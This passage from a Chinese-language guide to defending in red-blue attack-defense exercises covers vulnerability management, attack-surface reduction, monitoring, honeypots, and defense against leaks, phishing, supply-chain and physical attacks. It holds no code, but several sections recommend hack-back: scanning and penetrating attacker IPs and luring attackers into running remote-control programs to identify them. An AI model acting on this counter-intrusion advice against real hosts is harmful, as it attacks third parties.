·如果系统属于在建项目,有条件的话,可以将总集成、监理、 开发单位、业务部门及安全部门全部纳入上线前检测审核中,通过各 方监督,保证该项工作按要求完成。 ·如果系统属于内部自建项目,可以将业务部门、开发部门、安 全部门等主要部门纳入上线前检测审核中,通过各方监督,保证该项 目工作按要求完成。 ·系统上线前是否需要经过安全检测,应该由参与部门根据系统 实际情况(一般看系统变更情况)进行审核和确定。 ·安全检测(主要从安全扫描、代码审计、基于业务流程的渗透 测试、安全评估等方面开展)完成后,应出具详细的安全检测报告, 并与各部门负责人同步。 ·开发部门(或单位)应按照出具的检测报告开展整改工作,整 改完成后由安全部门负责开展复查工作。 ·复查完成后,安全部门召集各部门汇报整改情况。若整改复查 符合要求,则各方签字,进入上线阶段;若整改复查还存在不符合要 求,则继续进行整改,直至整改复查结果符合安全要求为止。 通过上线前安全检测,减少新上线系统的安全漏洞,从而减少新 系统上线后给业务带来的安全风险。 (2)漏洞管理 漏洞与应用系统基本上是时时伴随的,无论是操作系统漏洞、应 用系统漏洞还是其他组件漏洞,都将影响到应用系统的安全。而针对 这些漏洞的修复管理工作经常会遇到这些问题:怕影响业务,暂时不 能修复漏洞;已经根据修复建议修复了,但不知道修复是否有效;漏 洞无人认领,有些单位存在中间件三不管的尴尬局面等。这些问题都 将在当前严峻的网络安全环境中给单位带来极大的安全风险。 因此,建议单位在日常安全运营中建立漏洞管理流程,以确保所 发现的漏洞都能够得到有效处理,从而提高整体网络安全水平。漏洞 管理工作一般会涉及单位多个部门、第三方应用系统承建单位和信息 安全技术支撑单位,因而需要建立相关漏洞管理制度,明确职责和权 限。 根据经验,我们梳理出漏洞管理的以下关键点。 1)漏洞发现 ·制订安全漏洞评估方案,报信安全部门和业务部门审批。 ·进行信息系统的安全漏洞评估。 ·生成漏洞分析报告并提交给信息安全经理和IT相关经理备案。 ·根据安全漏洞分析报告提供安全加固建议。 2)漏洞修复 ·根据单位职责划分,明确漏洞的归属部门,防止出现漏洞无人 认领的局面。 ·漏洞修复负责部门依据安全漏洞分析报告及加固建议制定详细 的安全加固方案(包括回退方案),报信业务部门和安全部门审批。 ·漏洞修复负责部门实施信息系统漏洞修复测试,观察无异常 后,将修复测试结果提交给业务部门和安全部门。 ·漏洞修复负责部门在生产环境中实施信息系统的漏洞修复,观 察结果是否有异常。 ·漏洞修复负责部门在完成漏洞修复后编制漏洞修复报告,并提 交业务部门和安全部门备案。 ·安全部门负责审核漏洞修复报告,并验证漏洞修复是否彻底, 若不彻底,应反馈修复部门继续修复,直到漏洞修复彻底。 3)其他建议 ·对信息系统进行漏洞修复的时间尽量选择在业务空闲时段,并 留有充裕的回退时间。 ·漏洞修复实施期间业务系统支持人员应保证手机开机,确保出 现问题时能及时处理。 ·对于确实无法按照要求完成修复的漏洞,能通过其他有效措施 (如网络策略限制、防火墙策略限制等)处理的,通过其他有效措施 处置,没有相关有效措施的,建议进行断网或下线处理。 3. 总体总结 最后,我们一起来总结红队防守工作最佳实践的要点,具体如 下。 (1)一把手重视,全员认知 安全一把手必须重视,全员(如办公人员、保安等)提高安全防 范意识。 (2)专项组织,责任到人 牵头部门要有话语权,组织形成跨部门的专项组织,明确工作职 责,责任到人。专项组织可以包括领导小组(主管安全领导,层级越 高越好)、检查工作组、防护工作组(事件监测、分析研判、事件处 置)和保障工作组等工作小组。 (3)摸清家底,厘清责任 梳理全部资产的属性和网络路径,明确资产的主管、运维责任, 为后续工作打下基础。例如,梳理信息系统、网络设备和安全设备等 基础信息,运行维护状态,责任单位(人)。 (4)收敛暴露面,减少入侵点 依据资产清单,在常规安全检查基础上梳理互联网暴露面及网络 边界弱点,减少情报泄露,让攻击面缩到最小,从而缩小防守半径。 例如:优化网络边界;清理“僵尸”资产;管控测试环境、供应链、 中间件及业务管理后台、WIFI及VPN等入口;增强安全意识,防钓鱼, 保证终端安全,进行权限管理。 (5)知己知彼,整改到位 从攻击者视角出发,结合现网实际从外到内、由点及面整改互联 网边界,内网横向联通,针对服务器、应用系统、集权类等设备存在 的漏洞,建立漏洞隐患整改验证与跟踪机制,确保整改到位。 (6)威胁感知,分析处置 部署全流量威胁分析感知系统,建立监测、预警、分析、验证、 研判、处置和溯源等能力,为指挥和决策提供支撑。 (7)检验能力,优化完善 模拟真实攻击,检验实际安全监测、防御和处置能力,及时从人 员能力、监测防护措施、工作流程、协同机制等方面进行优化完善。 (8)全方位监控,合作协同 以全流量威胁分析感知系统为核心,以各类安全检测设备为辅, 协同各部门及厂商共享情报信息,合作开展全方位监控工作,实施从 监测到预警、分析、验证、研判、处置、溯源的闭环防守工作。 (9)总结分析,常态落实 以演练结果为数据支撑,总结工作中存在的问题并分析原因,结 合日常工作制订整改方案和持续整改计划,落实具体时间、经费、责 任部门及人员,并与绩效考核挂钩。 总之,实战攻防演练不只是对抗防守的保障演练活动,其最终目 的是:通过对抗活动发现我们网络安全建设中的不足,进而改进和提 升整体安全防御能力;基于相对独立的安全运营思路,以数据为中心 建立整体网络安全防护体系,进而发挥出最强的安全能力。因此,每 次在总结实战攻防演练积累的实际经验时,要沿用演练期间形成的安 全运营机制、安全监测技术和应急响应策略等,在日常安全工作中持 续提供安全运营能力,使网络安全防护措施持续发挥成效,最终有效 提升平时与战时结合的安全防护能力。 最后,防守方要加快改进演练过程中发现的网络安全体系建设的 不足,持续构建和完善总体网络安全建设体系,使其具备多道防线、 纵深防御、网格防护以及内部防护的能力,将“三化六防”防护指导 措施沿用到实际网络环境中。 第7章 红队常用的防守策略 由于攻防两端的不对称性,防守方的防守认知普遍落后于攻击队 的攻击方法。当前攻击队普遍已经正规化、规模化、流程化、武器 化,0day漏洞储备、安全监控绕过、内存马、日志污染等隐蔽攻击手 段也已经相当成熟。防守方需根据攻击者的思路、想法、打法,结合 各单位实际网络环境、运营管理情况,建立全方位的纵深安全监控、 防护体系,才能在攻防过程中从被动防御转变为溯源反制。本章将要 讲述的内容为奇安信防守经验和技术总结,在具体环节各个单位需要 结合自身的实际管理、运营、网络及业务情况调整,或者增加其他技 术处置环节。 “知己知彼,百战不殆。”政企安全部门只有经历多次实战攻防 的洗礼,在实战中不断加深对攻击队的攻击手段的理解,才能及时发 现自身安全防护能力的缺失。防护手段应随着攻击手段的变化和升级 而进行相应的改变和提升,这将是未来的主流防护思想。 攻击队一般会在前期搜集情报,寻找突破口,建立突破据点;在 中期横向拓展打内网,尽可能多地控制服务器或直接打击目标系统; 在后期删日志,清工具,写后门,建立持久控制权限。针对攻击队的 常用套路,红队常用的应对策略可总结为收缩战线、纵深防御、守护 核心、协同作战、主动防御、应急处突和溯源反制等。 7.1 信息清理:互联网敏感信息 攻击队会采用社工、工具等多种技术手段,搜集目标单位可能暴 露在互联网上的敏感信息,为后期攻击做好充分的准备。而防守队除 了定期对全员进行安全意识培训,严禁将带有敏感信息的文件上传至 公共信息平台外,还可以通过定期搜集泄露的敏感信息,及时发现已 经在互联网上暴露的本单位敏感信息并进行清理,以降低本单位敏感 信息暴露的风险,同时增加攻击队搜集敏感信息的时间成本,提高其 后续攻击的难度。 7.2 收缩战线:收敛互联网暴露面 攻击队会通过各种渠道搜集目标单位的各种信息,搜集的情报越 详细,攻击就会越隐蔽,越快速。此外,攻击队往往不会正面攻击防 护较好的系统,而是找一些可能连防守队自己都不知道的薄弱环节下 手。这就要求防守队充分了解自己暴露在互联网上的系统、端口、后 台管理系统、与外单位互联的网络路径等信息。哪方面考虑不到位, 哪方面往往就会成为被攻陷的点。互联网暴露面越多,防守队越容易 被攻击队声东击西,最终顾此失彼,眼看着被攻击却无能为力。结合 多年的防守经验,我们建议从如下几方面收敛互联网暴露面。 (1)攻击路径梳理 知晓攻击队有可能从哪些地方发起攻击,对防守队部署防守力量 起关键作用。政企机构的网络不断变化,系统不断增加,往往会产生 新的网络边界。防守队一定要定期梳理自己的网络边界、可能被攻击 的路径,尽可能梳理并绘制出每个业务系统,包括对互联网开放的系 统、内部访问系统(含测试系统)的网络访问路径。内部系统全国联 网的单位尤其要注重此项梳理工作。 (2)互联网攻击入口收敛 一些系统维护者为了方便,往往会把维护的后台、测试系统和高 危端口私自开放在互联网上,而这在方便维护的同时也方便了攻击 队。攻击队最喜欢攻击的Web服务就是网站后台以及安全状况较差的测 试系统。红队可通过开展互联网资产发现服务工作,发现并梳理本单 位开放在互联网上的管理后台、测试系统、无人维护的僵尸系统(含 域名)、拟下线未下线的系统、高危服务端口、疏漏的未纳入防护范 围的互联网开放系统以及其他重要资产信息(中间件、数据库等), 及时整改,从而不断减小互联网侧的攻击入口。 (3)外部接入网络梳理 如果正面攻击不成,攻击队往往会选择攻击供应商、下级单位、 业务合作单位等与目标单位有业务连接的其他单位,通过这些单位直 接绕到目标系统内网。防守队应对这些外部的接入网络进行梳理,尤 其是未经过安全防护设备就直接连进来的单位,应先连接安全防护设 备,再接入内网。防守队还应建立起本单位内部网络与其他单位进行 对接的联络沟通机制,这样发现从其他单位过来的网络行为异常时, 能及时反馈到其他单位,与其协同排查,尽快查明原因,以便后续协 同处置。 (4)隐蔽入口梳理 API、VPN、Wi-Fi这些入口因容易被安全人员忽略而成为攻击队最 喜欢的突破口,一旦被突破,攻击队就会畅通无阻。安全人员一定要 梳理Web服务的隐藏API、不用的VPN、Wi-Fi账号等,以便于重点防 守。 7.3 纵深防御:立体防渗透 收缩战线工作完成后,针对实战攻击,防守队应对自身安全状态 开展全面体检,此时可结合战争中的纵深防御理论来审视当前网络的 安全防护能力。互联网端防护、内外部访问控制(安全域间甚至每台 机器之间)、主机层防护、供应链安全甚至物理层近源攻击的防护, 都需要考虑进去。通过层层防护,尽量拖慢攻击队扩大战果的节奏, 将损失降至最小。 (1)资产动态梳理 清晰的信息资产是防守工作的基石,对整个防守工作的顺利开展 起决定作用。防守队应该通过开展资产梳理工作,形成信息资产列 表,至少包括单位环境中的所有业务系统、框架结构、IP地址(公 网、内网)、数据库、应用组件、网络设备、安全设备、归属信息、 业务系统接口调用信息等,同时结合收缩战线工作的成果,最终形成 准确清晰的资产列表。此外,防守队还应定期动态梳理,不断更新, 确保资产信息的准确性,为正式防守工作奠定基础。 (2)互联网端防护 互联网作为防护单位最外层的接口,是重点防护区域。互联网端 的防护工作可从网络安全防护设备部署和攻击检测两方面开展。需要 部署的网络安全防护设备包括下一代防火墙、防病毒网关、全流量分 析设备、防垃圾邮件网关、WAF、IPS等。攻击检测方面,如果有条 件,可以事先对互联网系统进行一次完整的渗透测试,检测其安全状 况,查找其存在的漏洞。 (3)访问控制策略梳理 访问控制策略的严格与否对防守工作至关重要。从实战情况来 看,严格的访问控制策略都能对攻击队产生极大的阻碍。防守队应通 过访问控制策略梳理工作,重新厘清不同安全域,包括互联网边界、 业务系统(含主机)之间、办公环境、运维环境、集权系统的访问、 内部与外部单位对接访问、无线网络策略等的访问策略。 防守队应依照“最小原则”,只对必须使用的用户开放访问权 限。按此原则梳理访问控制策略,防止出现私自开放服务或者内部全 通的情况。这样,无论是对于阻止攻击队撕破边界打点,还是对于增 加攻击队进入内部后开展横向渗透的难度,都是非常简单有效的手 段。通过严格的访问控制策略尽可能为攻击队制造障碍。 (4)主机加固防护 攻击队在从突破点进入内网后,首先做的就是攻击同网段主机。 主机防护强弱决定了攻击队内网攻击成果的大小。防守队应从以下几 方面对主机进行防护:对主机进行漏洞扫描,基线加固;仅安装必要 的软件,关闭不必要的服务;杜绝主机弱口令,结合堡垒机开启双因 子认证登录;高危漏洞必须打补丁(包括安装在系统上的软件高危漏 洞);开启日志审计功能。部署主机防护软件对服务进程、重要文件 等进行监控,如果条件允许,还可以开启防护软件的“软蜜罐”功 能,进行攻击行为诱捕。 (5)供应链安全 攻击队擅长对各行业中广泛使用的软件、框架和设备进行研究, 发现其中的安全漏洞,以便在攻防对抗中有的放矢,突破防守队的网 络边界,甚至拿下目标系统权限。 政企机构在安全运营工作中,应重视与供应链厂商建立安全应对 机制,要求供应链厂商建立起自身网络环境(如搭建带有参演单位业 务的测试环境,还对互联网开放)和产品(包括源码、管理工具、技 术文档、漏洞补丁等)的安全保障机制,一旦暴露出安全问题,及时 提供修复方案或处置措施。 同时,供应链厂商也应建立内部情报渠道,提高产品的安全性, 为政企机构提供更可靠、更安全的产品和服务。 7.4 守护核心:找到关键点 正式防守工作中,应根据系统的重要性划分出防守工作重点,找 到关键点,集中力量进行防守。根据实战攻防经验,核心关键点一般 包括靶标系统、集权系统、重要业务系统等。在防守前应再次对这些 重点系统进行梳理和整改,梳理得越细越好。必要时对这些系统进行 单独评估,充分检验重点核心系统的安全性。同时,应对重点系统的 流量、日志进行实时监控和分析。 (1)靶标系统 靶标系统是实战中攻防双方关注的焦点,靶标系统失陷,则意味 着防守队的出局。防守队在靶标系统的选择与防护上应更具有针对 性。首先,靶标系统应经过多次安全测试,自身安全有保障;其次, 应梳理清与靶标系统互通的网络,重新进行访问控制策略梳理,按照 “最小原则”开放访问权限;最后,靶标系统应部署在内部网络中, 尽可能避免直接对互联网开放。条件允许的情况下,还可以为靶标系 统主机部署安全防护软件,对靶标系统主机进行进程白名单限制,在 防守中,可实时监测靶标系统的安全状态。 (2)集权系统 集权系统一般包括单位自建的云管理平台、核心网络设备、堡垒 机、SOC平台、VPN等,它们是攻击队最喜欢攻击的内部系统。一旦集 权系统被拿下,则集权系统所控制的主机可同样视为已被拿下,因此 拿下集权系统的杀伤力巨大。 集权系统是内部防护的重中之重。防守队一般可从以下几方面做 好防护:集权系统的主机安全、集权系统已知漏洞加固或打补丁、集 权系统的弱口令、集权系统访问控制、集权系统配置安全以及集权系 统安全测试等。 (3)重要业务系统 重要业务系统如果被攻击队攻破,也会作为攻击队的一项重要的 攻击成果,因此,防守队也应对重要业务系统重点防护。针对此类系 统,除了常规的安全测试、软件和系统补丁升级及安全基线加固外, 还应加强监测,并对其业务数据进行重点防护。可通过部署数据库审 计系统、DLP系统加强对数据的安全保护。 7.5 协同作战:体系化支撑 大规模有组织的攻击,其攻击手段会不断变化升级,防守队在现 场人员无法应对攻击的情况下,应借助后端技术资源,相互配合,协 同作战,建立体系化支撑,只有这样,才能有效应对防守工作中面临 的各种挑战。 (1)产品应急支撑 产品的安全、正常运行是防守工作顺利开展的前提。但在实战中 不可避免地会出现产品故障、产品漏洞等问题,影响到防守工作。因 此防守队需要会同各类产品的原厂商或供应商,建立起产品应急支撑 机制,在产品出现故障、安全问题时,能够快速得到响应和解决。 (2)安全事件应急支撑 安全事件的应急处置一般会涉及政企机构中多个部门的人员,防 守队在组建安全事件应急团队时,应充分考虑要纳入哪些人员。在实 战中需要对发生的安全事件进行应急处置时,如果应急团队因技术能 力不足等问题而无法完成对安全事件的处置,可考虑寻求其他技术支 撑单位的帮助,来弥补本单位应急处置能力的不足。 (3)情报支撑 随着攻防演练不断向行业化、地区化发展,攻击手段的日益丰 富,0day漏洞、Nday漏洞、钓鱼、社工、近源攻击的频繁使用以及攻 击队信息搜集能力的大大提高,攻击队已发展出集团军作战模式。 所以,在实战阶段,仅凭一个单位的防守力量可能难以有效应对 攻击队的狂轰滥炸。各个单位的防守队伍须建立有效的安全情报网, 通过民间、同行业、厂商、国家、国际漏洞库收集情报,形成情报甄 别、情报利用机制,从而高效地抵御攻击队攻击。攻防演练对抗的本 质就是信息战,谁掌握的情报更多、更准确,谁就能立于不败之地。 (4)样本数据分析支撑 现场防守人员在监测中发现可疑、异常文件时,可将可疑、异常 文件提交至后端样本数据分析团队,并根据样本分析结果判断攻击入 侵程度,及时开展应对处置工作。 (5)追踪溯源支撑 当现场防守人员发现攻击队的入侵痕迹,需要对攻击队的行为、 目的、身份等开展溯源工作时,可寻求追踪溯源团队的帮助,凭借其 技术力量分析出攻击队的攻击行为、攻击目的乃至身份。必要时,还 可以一起对攻击队开展反制工作,将防守成果最大化。 7.6 主动防御:全方位监控 近两年的红蓝对抗中,攻击队的手段越来越隐蔽,越来越单刀直 入,通过0day、Nday直指系统漏洞,直接获得系统控制权限。 红队需要掌握完整的系统隔离手段,因为蓝队成功攻击到内网之 后,会对内网进行横向渗透,这时系统之间的隔离显得尤为重要。红 队必须清楚哪些系统之间有关联,访问控制策略是什么。在发生攻击 事件后,应当立即评估受害系统范围和关联的其他系统,并及时做出 应对的访问控制策略,以防止内部持续的横向渗透。 任何攻击都会留下痕迹。攻击队会尽量隐藏痕迹,防止被发现; 而防守者与之相对,需要尽早发现攻击痕迹,并通过分析攻击痕迹调 整防守策略、溯源攻击路径,甚至对可疑攻击源进行反制。建立全方 位的安全监控体系是防守队最有力的武器。总结多年实战经验,我们 认为有效的安全监控体系应包含如下几方面内容。 (1)自动化的IP封禁 在整个红蓝对抗的过程中,如果红队成员7×24小时不间断地从安 全设备的告警中识别风险,将极大消耗监测人员和处置人员的精力。 通过部署态势感知系统与安全设备联动规则,收取全网安全设备的告 警信息,在态势感知系统收到安全告警信息后,根据预设规则自动下 达边界封禁策略,使封禁设备能够做出及时有效的阻断和拦截,从而 大大降低人工的参与度,提高红队的防守效率。 (2)全流量网络监控 任何攻击都要通过网络,并且会产生网络流量。攻击数据和正常 数据肯定是不同的,通过监控全网络流量以捕获攻击行为是目前最有 效的安全监控方式。红队通过全流量安全监控设备,结合安全人员的 分析,可快速发现攻击行为,并做出针对性防守动作。 (3)主机监控 任何攻击的最终目标都是获取主机(服务器或终端)权限。通过 部署合理的主机安全软件,审计命令执行过程,监控文件创建进程, 及时发现恶意代码或Webshell,并结合网络全流量监控措施,可以更 清晰、准确、快速地找到被攻击的真实目标主机。 (4)日志监控 对系统和软件的日志监控同样必不可少。日志监控是帮助防守队 分析攻击路径的一种有效手段。攻击队攻击成功后,打扫战场的首要 任务就是删除日志或者切断主机日志的外发,以防止防守队追踪。防 守队应建立一套独立的日志分析和存储机制,对于重要目标系统可派 专人对目标系统日志和中间件日志进行恶意行为的监控与分析。 (5)蜜罐诱捕 随着红蓝对抗的持续发展,蜜罐技术逐渐成为红队改变被动挨打 局面的一把利剑。蜜罐技术的特点是:诱导攻击队攻击伪装目标,持 续消耗攻击队资源,保护真实资产;监控期间对所有的攻击行为进行 分析,可意外捕获0day信息。 目前,蜜罐技术可分为3种:自制蜜罐、高交互蜜罐和低交互蜜 罐。此外,还可以诱导攻击队下载远控程序,定位攻击队自然人身 份,提升主动防御能力,将对抗工作由被动变主动。 (6)情报工作支撑 现场防守队员在防守中需要从两方面用好情报:一是要善于利用 情报搜集工作提供的各种情报成果,根据情报内容及时对现有环境进 行筛查和处置;二是就已获取的情报请求后端资源进行分析和辨别, 以方便采取应对措施。 7.7 应急处突:完备的方案 从近几年的红蓝对抗发展来看,红蓝对抗初期,蓝队成员通过普 通攻击方式,不使用0day或其他攻击方式,就能轻松突破红队的防守 阵地。但是,随着时间的推移,红队防护体系早已从只有防火墙做访 问控制,发展到包含WAF、IPS、IDS、EDR等多种防护设备。这些防护 设备使得蓝队难以突破,逼迫蓝队成员通过0day、Nday、现场社工、 钓鱼等多种方式入侵红队目标,其攻击呈现出无法预估的特点。 应急处突是近两年红蓝对抗的发展趋势,也是体现红队防守水平 的地方;不仅考验应急处置人员的技术能力,更检验多部门(单位) 协同能力。制订应急预案应当从以下几方面进行。 1)完善各级组织结构,如监测组、研判组、应急处置组(网络小 组、系统运维小组、应用开发小组、数据库小组)、协调组等。 2)明确各方人员在各个组内担任的职责,如监测组的监测人员负 责某台设备的监测,并且7×12小时不得离岗等。 3)明确各方设备的能力与作用,如防护类设备、流量类设备、主 机检测类设备等。 4)制定可能出现的攻击成功场景,如Web攻击成功场景、反序列 化攻击成功场景、Webshell上传成功场景等。 5)明确突发事件的处置流程,将攻击场景规划至不同的处置流 程,如上机查证类处置流程、非上机查证类处置流程等。 7.8 溯源反制:人才是关键 溯源工作一直是安全的重要组成部分,无论在平常的运维工作中 还是在红蓝对抗的特殊时期,在发生安全事件后,能有效防止被再次 入侵的手段就是溯源工作。 在红蓝对抗的特殊时期,防守队中一定要有经验丰富、思路清晰 的溯源人员,能够第一时间进行应急响应,按照应急预案分工,快速 理清入侵过程,并及时调整防护策略,防止被再次入侵;同时也为反 制人员提供溯源到的真实IP,进行反制工作。 反制工作是红队反渗透能力的体现。普通防守队员一般只具备监 测、分析、研判的能力,缺乏反渗透的实力。这将使防守队一直属于 被动的一方,因为防守队既没有可反制的固定目标,也很难从成千上 万的攻击IP里确定攻击队的地址。这就要求防守队中有经验丰富的反 渗透人员。 经验丰富的反渗透人员会通过告警日志分析攻击IP、攻击手法等 内容,对攻击IP进行端口扫描、IP反查域名、威胁情报等信息收集类 工作,并通过收集到的信息进行反渗透。 红队还可以通过效仿蓝队的社工手段,诱导蓝队进入诱捕陷阱, 从而达到反制的目的——定位蓝队自然人身份信息。 第8章 红队常用的防护手段 防护手段是落地防护策略的基础,但“不知攻,焉知防”,近年 随着网络攻击的手段、方法的层出不穷,攻击技术的不断发展,红队 的网络防御难度也越来越大,需要不断更新才能更好地保障网络安 全。结合近几年实战攻防演练中蓝队常用的信息收集、钓鱼邮件、供 应链攻击等常用攻击手段和重点,本章将通过五种防护手段来确保防 御策略中信息清理、收缩战线、纵深防护的有效执行。 8.1 防信息泄露 信息搜集是攻防活动中攻击者进行的第一步操作,也是非常重要 的一步。为了防止攻击被发现,攻击队一般会采取外围信息收集的策 略,并根据搜集到的数据的质量确定后续的攻击方法或思路。外围信 息收集的主要来源是信息泄露。信息泄露及其处置方式主要分为以下 几类。 8.1.1 防文档信息泄露 许多开发人员、运维人员安全意识不足,例如,为了方便或赚积 分把一些未脱敏文件上传到网盘、文库、运维群等公共平台上,造成 关键文档信息泄露。如果密码、接口信息、网络架构等文档信息泄 露,攻击者会根据泄露信息绕过安全防护,使安全防护形同虚设。 攻击者一般会通过如下几类网站或工具搜索目标单位信息: ·学术网站类,如知网CNKI、Google学术、百度学术; ·网盘类,如微盘Vdisk、百度网盘、360云盘等; ·代码托管平台类,如GitHub、Bitbucket、GitLab、Gitee等; ·招投标网站类,自建招投标网站、第三方招投标网站等; ·文库类,如百度文库、豆丁网、道客巴巴等; ·社交平台类,如微信群、QQ群、论坛、贴吧等。 最受攻击者欢迎的文档信息包括以下几类。 ·使用手册:VPN系统、OA系统、邮箱等系统的使用手册,其中 的敏感信息可能包含应用访问地址、默认账号信息等。 ·安装手册:可能包含应用默认口令、硬件设备的内外网地址 等。 ·交付文档:可能包含应用配置信息、网络拓扑、网络的配置信 息等。 具体处置建议如下。 1)从制度上明确要求敏感文档一律不准上传到网盘或文库,并定 期审查。 2)对第三方人员同样要求涉及本单位的敏感文档,未经合同单位 允许不得共享给项目无关人员,不得上传到网盘、文库、QQ群共享等 公共平台。一经发现,严肃处理。 3)定期去上面提到的各类网站或工具中搜索自己单位的关键字, 如发现敏感文档要求上传者或平台删除。 8.1.2 防代码托管泄露 开发者利用社交编程及代码托管网站,使用户可以轻易地管理、 存储和搜索程序源代码,这些代码托管网站受到了广大程序员们的热 爱。然而,缺乏安全意识的程序员可能会将组织或客户公司的源代码 全部或部分上传到代码托管网站。攻击者找到目标单位源代码后会直 接对源代码进行安全审计,通过白盒测试挖掘系统漏洞,使得部分防 御措施失效或精准绕过防护规则;或者源代码中包含的敏感信息可能 会涉及应用连接的账号和密码、配置信息等重要信息,泄露后会被直 接利用。针对防代码托管泄露的建议如下: 1)在制度上严禁项目源代码公开到代码托管网站; 2)禁止开发人员私自将源代码复制到不可控的电脑上; 3)定期在GitHub、Bitbucket、GitLab、Gitee等各大代码托管网 站上搜索自己单位的关键字,如发现上面有自己单位的源代码,要求 上传者或平台删除。 8.1.3 防历史漏洞泄露 大多数攻击者会在漏洞平台上搜索目标单位系统或与目标单位系 统指纹相同系统的漏洞信息,并根据漏洞信息测试漏洞是否存在,如 果漏洞未修复,则会直接利用。目前主流的漏洞上报平台如下。 ·补天平台:https://www.butian.net/。 ·漏洞盒子:https://www.vulbox.com。 ·乌云镜像:http://www.anquan.us。 ·Hackerone:https://www.hackerone.com。 处置建议如下: 1)收集各大漏洞平台上关于本单位的漏洞信息,逐一验证修复情 况; 2)收集和本单位使用相同商业系统或开源系统的漏洞信息,逐一 验证本单位系统是否存在漏洞平台披露的漏洞。 8.1.4 防人员信息泄露 目标单位人员的邮箱、电话、通讯录等信息泄露也会带来一定程 度的安全隐患,攻击者可以用这些信息来对这些人员采取定向钓鱼、 社工等手段,控制他们的电子设备,从而进行进一步的信息收集和入 侵。 处置建议如下: 1)增强人员安全意识,不要轻易打开可疑邮件,不得向未经确认 人员泄露敏感信息,禁止将未经确认人员添加到业务群或其他敏感工 作群; 2)禁止在程序源代码里放管理员邮箱、电话等敏感信息。 8.1.5 防其他信息泄露 除上述可能造成的信息泄露外,攻击者也会收集目标单位的供应 商信息、单位组织结构或下属单位信息,并通过攻击这些目标迂回攻 击目标单位信息系统。这也是攻击者较常使用的攻击手段。 处置建议如下: 1)与下属单位的系统互联,上网络层面部署安全防护和检测设 备,接入前下属单位系统要出具代码审计和渗透测试报告,保障接入 安全; 2)不要和其他系统单位或个人共用密码,如有条件可增加动态密 码或者密钥认证,防止黑客撞库攻击; 3)对于托管在公有云上的系统,要求云提供商单独部署,不得与 其他单位系统共用网段、服务器以及存储等组件,防止旁路攻击。 8.2 防钓鱼 社会工程学是一种通过人际交流的方式获得信息的非技术渗透手 段。不幸的是,这种手段非常有效,而且应用效率极高。事实上,社 会工程学已是企业安全最大的威胁之一。目前社工手段主要有以下几 种。 (1)邮件钓鱼 攻击者通过目标单位泄露的邮件地址,利用发送时事热点、冒充 领导、冒充维护人员、邮箱升级等钓鱼手段,在邮件的链接和附件中 隐藏恶意链接或样本,诱骗安全意识差的内部人员点击、下载或运 行,达到控制其IT设备的目的。 建议的防御措施如下: 1)提高人员(特别是管理员)的安全意识; 2)收到邮件后仔细鉴别邮件的标题、发件人、信件内容等; 3)谨慎打开邮件附件及附件中的链接等; 4)不要轻易打开陌生邮件里的链接。 (2)网络钓鱼 攻击者利用热点网络文章(带链接和工具附件)、社交软件、微 信公众号等,诱导用户点击恶意链接进行钓鱼攻击。 建议的防御措施如下: 1)提高人员(特别是管理员)的安全意识; 2)对网络上分享的内容进行鉴别,谨慎使用分享工具等; 3)谨慎点击收到的通知或信息中的链接,谨慎下载链接中的附件 等。 (3)人员冒充 攻击者冒充上级单位、监管机构、供应商通过电话、短信等方式 套取重要信息。近年来已有多个参演单位发现冒充上级单位、监管机 构以检查的名义索要资产信息和联系人的钓鱼事件,以及冒充供应商 等以维护、检查等名义索要资产信息的钓鱼事件。 建议的防御措施如下: 1)建立上级单位、监管机构、供应商的沟通机制和联络人名单, 通过正常沟通流程进行沟通; 2)对接收到的问询等进行人员身份确认,若无法确认,则不提供 任何信息。 (4)反向社工 攻击者紧跟时事热点,发布并扩散故障公告和钓鱼联系方式,等 待用户主动联系时进行钓鱼,如冒充某些设备或安全厂商发布漏洞公 告和联系方式的钓鱼事件。 建议的防御措施如下: 1)通过正规方式联系消息发布人; 2)如对方询问敏感信息,不要泄露; 3)如对方要求现场维护,须让对方出具证明,待身份确认后方可 允许对方进入,内部人员须全程陪同。 8.3 防供应链攻击 有些时候目标单位的软件供应商也会成为攻击者的攻击目标。攻 击者通过攻击供应商有可能获得目标单位的维护账号、人员信息、部 署资料、测试系统、系统源代码等大量敏感信息。攻击者采取信息整 合,如代码审计、社工、维护账号登录等各种手段攻击目标系统。供 应商的安全防护问题主要有以下几个。 (1)供应商本地和远程维护问题 供应商在本地维护的过程中,维护人员的安全意识不足、供应商 人员和设备未经安全检测接入网络、私自开放管理后台、管理员账号 为弱口令、私自开通维护账号等都会给目标单位带来安全风险。如存 在远程后台或通过VPN拨入维护的情况,则安全风险会大大增加。供应 商安全维护的建议如下: 1)制定供应商安全维护管理规范; 2)禁止供应商远程维护系统; 3)本地维护时,未经许可不得将自带设备接入内网; 4)维护时必须有参演单位人员陪同; 5)维护时必须通过堡垒机登录,可审计和监控是否出现其他违规 维护行为; 6)供应商不得记录参演单位除堡垒机维护密码以外的密码。 (2)供应商测试系统问题 需要特别注意的是,部分供应商会将目标单位所采购系统软件的 测试系统发布在互联网上供客户测试使用,这同样是一个重大的风险 点。防护建议如下: 1)测试系统所采用的密码口令不得在正式环境中出现; 2)禁止供应商将目标单位真实数据放在商业测试系统上; 3)安装路径尽量不要采用默认路径; 4)关闭不用的功能和目录; 5)管理好供应商内部SVN/Git。 开发商/外包商内部自建的Git/SVN等源代码管理服务器,一般都 会存有已经交付给参演单位的信息系统源代码,而开发商/外包商的源 代码系统管理安全能力和参演单位相比可能要差几个数量级。后果就 是:攻击者通过获得的源代码,发现系统应用0day,从而控制参演单 位已上线信息系统。解决方案如下: 1)督促供应商加强自身源代码管理服务器管理; 2)源代码服务器不得联网,和内部其他系统物理隔离。 8.4 防物理攻击 物理安全就是保护一些比较重要的网络边界、设备不被接触。目 前比较流行的物理攻击主要有以下几种。 (1)Wi-Fi破解 主动进入参演单位现场或接待室,或在参演单位办公地附近的公 共场所搜索Wi-Fi进行破解,破解成功后进入参演单位的内网环境进行 进一步的渗透。建议从以下几方面进行防御: 1)对进入接待区的人员进行确认,防止闲散人员进入; 2)对于无线接入采用严格的验证机制和准入控制措施,防止被利 用; 3)对无线接入后的权限进行控制; 4)公共无线接入最好和办公内网隔离; 5)关闭Wi-Fi无线广播功能。 (2)冒充上门维护 冒充供应商,要求进机房检查线路或设备,或者在分支机构、营 业网点等安全意识薄弱的地点要求检查和维护设备,趁机进行网络攻 击。 要防止此类攻击,建议采取以下措施: 1)对现有的各类产品及服务的供应商清单进行梳理; 2)对上门维护的人员进行身份验证; 3)对上门维护的事项进行确认; 4)对物理接触设备的人员的行为进行跟踪和监视。 (3)历史后门利用 攻击者也会通过扫描的方式检测目标单位网站是否存在Web或系统 后门,例如冰蝎后门、一句话后门、Webshell、按五下Shift键弹出 